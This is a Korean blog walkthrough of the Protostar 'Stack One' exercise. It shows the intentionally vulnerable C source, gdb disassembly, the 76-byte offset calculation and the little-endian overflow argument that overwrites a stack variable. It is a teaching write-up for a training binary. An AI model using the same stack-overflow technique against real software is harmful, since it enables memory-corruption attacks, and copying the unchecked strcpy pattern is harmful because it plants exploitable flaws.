Security_RNRF

STACK ONE 본문

Reversing/Protostar

STACK ONE

RNRF 2022. 7. 3. 17:49

STACK ONE

This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.

This level is at /opt/protostar/bin/stack1

Hints

  • If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.
  • Protostar is little endian

Link - https://exploit.education/protostar/stack-one/#source-code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

이전 시간에는 "modified"가 "0"인지, 아닌지를 판단했을뿐 이었다. 하지만, 이번에는 "modified" 변수에 "0x61626364"의 값을 넣어야지만 성공할 수 있다. 즉, 정확한 위치에, 정확한 값을 넣어야하는 것이다.

그러한 위치를 찾기 위해서는 gdb를 통해서 연산을 해보면 된다.
root@kali:~/Desktop/protostar# gdb ./stack1
(gdb) set disassembly-flavor intel
(gdb) disas main

Dump of assembler code for function main:
   0x0000000000401152 <+0>:	push   rbp
   0x0000000000401153 <+1>:	mov    rbp,rsp
   0x0000000000401156 <+4>:	sub    rsp,0x60
   0x000000000040115a <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x000000000040115d <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000401161 <+15>:	cmp    DWORD PTR [rbp-0x54],0x1
   0x0000000000401165 <+19>:	jne    0x40117d <main+43>
   0x0000000000401167 <+21>:	lea    rsi,[rip+0xe9a]        # 0x402008
   0x000000000040116e <+28>:	mov    edi,0x1
   0x0000000000401173 <+33>:	mov    eax,0x0
   0x0000000000401178 <+38>:	call   0x401050 <errx@plt>
   0x000000000040117d <+43>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000401184 <+50>:	mov    rax,QWORD PTR [rbp-0x60]
   0x0000000000401188 <+54>:	add    rax,0x8
   0x000000000040118c <+58>:	mov    rdx,QWORD PTR [rax]
   0x000000000040118f <+61>:	lea    rax,[rbp-0x50]
   0x0000000000401193 <+65>:	mov    rsi,rdx
   0x0000000000401196 <+68>:	mov    rdi,rax
   0x0000000000401199 <+71>:	call   0x401030 <strcpy@plt>
   0x000000000040119e <+76>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004011a1 <+79>:	cmp    eax,0x61626364
   0x00000000004011a6 <+84>:	jne    0x4011b6 <main+100>
   0x00000000004011a8 <+86>:	lea    rdi,[rip+0xe79]        # 0x402028
   0x00000000004011af <+93>:	call   0x401040 <puts@plt>
   0x00000000004011b4 <+98>:	jmp    0x4011cc <main+122>
   0x00000000004011b6 <+100>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004011b9 <+103>:	mov    esi,eax
   0x00000000004011bb <+105>:	lea    rdi,[rip+0xe9d]        # 0x40205f
   0x00000000004011c2 <+112>:	mov    eax,0x0
   0x00000000004011c7 <+117>:	call   0x401060 <printf@plt>
   0x00000000004011cc <+122>:	mov    eax,0x0
   0x00000000004011d1 <+127>:	leave  
   0x00000000004011d2 <+128>:	ret    
End of assembler dump.

0x00000000004011a1 <+79>: cmp    eax,0x61626364
해당 라인이 비교하는 구문으로 나온다.
해당 데이터(eax,0x61626364)는 modified에서 가져왔으니까, modified는 [rbp-0x4] 위치인 것으로 파악이 된다.

그렇다면 buffer의 위치는 어디인가? buffer는 strcpy를 통해서 가지고 왔을것이다.
strcpy 함수는 두개의 인자값을 필요로 한다.
0x000000000040118f <+61>: lea    rax,[rbp-0x50]
0x0000000000401193 <+65>: mov    rsi,rdx
0x0000000000401196 <+68>: mov    rdi,rax
0x0000000000401199 <+71>: call   0x401030 <strcpy@plt>
rsi는 출발지, rdi는 도착지이다. strcpy(buffer, argv[1]); 의 buffer와 argv[1]를 의미한다고 예상된다.
rsi로부터 rdi를 복사할 것이다. 결국 rdi는 buffer의 위치를 뜻하고, rdi는 rax에서 가지고 왔으며, rax는 [rbp-0x50]에서 가지고 왔다.

지금까지 찾은 두 개의 부분이 나란히 메모리에 쓰여 있을 것이다.
buffer = rbp-0x50
modified = rbp-0x4

그렇다면 modified를 덮어쓰려면 얼마만큼의 값이 필요한가?
계산기를 통해서 계산해보면~

0x50 - 0x4 = 0x4C(Hex) = 76(Dec)

10진수로 "76"이다. 그렇기 때문에 "A"를 76개 넣으면 modified까지 간다.
테스트할 겸 마지막에 BBBB를 채워주고 확인해본다.

root@kali:~/Desktop/protostar# python -c "print('A'*76)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

브레이크 포인트를 걸어둔 후, 해당 문자열을 집어넣고 테스트 해본다.
root@kali:~/Desktop/protostar# gdb ./stack1(gdb) set disassembly-flavor intel
(gdb) b *main+79
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Starting program: /root/Desktop/protostar/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Breakpoint 1, 0x00000000004011a1 in main ()
(gdb) disas main

Dump of assembler code for function main:
   0x0000000000401152 <+0>:	push   rbp
   0x0000000000401153 <+1>:	mov    rbp,rsp
   0x0000000000401156 <+4>:	sub    rsp,0x60
   0x000000000040115a <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x000000000040115d <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000401161 <+15>:	cmp    DWORD PTR [rbp-0x54],0x1
   0x0000000000401165 <+19>:	jne    0x40117d <main+43>
   0x0000000000401167 <+21>:	lea    rsi,[rip+0xe9a]        # 0x402008
   0x000000000040116e <+28>:	mov    edi,0x1
   0x0000000000401173 <+33>:	mov    eax,0x0
   0x0000000000401178 <+38>:	call   0x401050 <errx@plt>
   0x000000000040117d <+43>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000401184 <+50>:	mov    rax,QWORD PTR [rbp-0x60]
   0x0000000000401188 <+54>:	add    rax,0x8
   0x000000000040118c <+58>:	mov    rdx,QWORD PTR [rax]
   0x000000000040118f <+61>:	lea    rax,[rbp-0x50]
   0x0000000000401193 <+65>:	mov    rsi,rdx
   0x0000000000401196 <+68>:	mov    rdi,rax
   0x0000000000401199 <+71>:	call   0x401030 <strcpy@plt>
   0x000000000040119e <+76>:	mov    eax,DWORD PTR [rbp-0x4]
=> 0x00000000004011a1 <+79>:	cmp    eax,0x61626364
   0x00000000004011a6 <+84>:	jne    0x4011b6 <main+100>
   0x00000000004011a8 <+86>:	lea    rdi,[rip+0xe79]        # 0x402028
   0x00000000004011af <+93>:	call   0x401040 <puts@plt>
   0x00000000004011b4 <+98>:	jmp    0x4011cc <main+122>
   0x00000000004011b6 <+100>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004011b9 <+103>:	mov    esi,eax
   0x00000000004011bb <+105>:	lea    rdi,[rip+0xe9d]        # 0x40205f
   0x00000000004011c2 <+112>:	mov    eax,0x0
   0x00000000004011c7 <+117>:	call   0x401060 <printf@plt>
   0x00000000004011cc <+122>:	mov    eax,0x0
   0x00000000004011d1 <+127>:	leave  
   0x00000000004011d2 <+128>:	ret    
End of assembler dump.

원하는 부분에 브레이크 포인트가 걸린것을 확인할 수 있다. 현재 eax에 무엇이 있는지가 궁금하기 때문에 확인해본다.

(gdb) info reg $eax
eax            0x42424242          1111638594

-> eax에 0x42424242, 즉 "BBBB"가 들어가 있는 것을 확인할 수 있다.
원하는 장소에 정확히 값이 들어간 것을 한번 더 확인해본다.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/protostar/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd

Breakpoint 1, 0x00000000004011a1 in main ()
(gdb) info reg $eax
eax            0x64636261          1684234849

해당 라인에 0x64636261이 들어가 있는것을 확인했는데, 사실상 modified에 원하는 값인 0x61626364와 일치하지 않는다.
사실 스택에 들어갔을때 abcd로 넣었을때는 이쁘게 보이지만, 메모리 상으로 데이터를 읽어들일때는 거꾸로 읽는다. 주의해야 할 점이다.
즉, AAAA....dcba로 넣어줘야 원하는 값이 출력된다.

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/protostar/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba

Breakpoint 1, 0x00000000004011a1 in main ()
(gdb) info reg $eax
eax            0x61626364          1633837924

원하는 값이 정확히 들어간것을 확인 할 수 있다. continue를 이용해서 브레이크 포인트 이후를 진행시켜본다.

(gdb) conti
Continuing.
you have correctly got the variable to the right value
[Inferior 1 (process 4127) exited normally]

원하는 답이 출력 되는것을 확인 할 수 있다.

결론 : root@kali:~/Desktop/protostar# ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value

'Reversing > Protostar' 카테고리의 다른 글

STACK FIVE  (0) 2022.07.10
STACK FOUR  (0) 2022.07.07
STACK THREE  (0) 2022.07.05
STACK TWO  (0) 2022.07.04
STACK ZERO  (0) 2022.06.03
Comments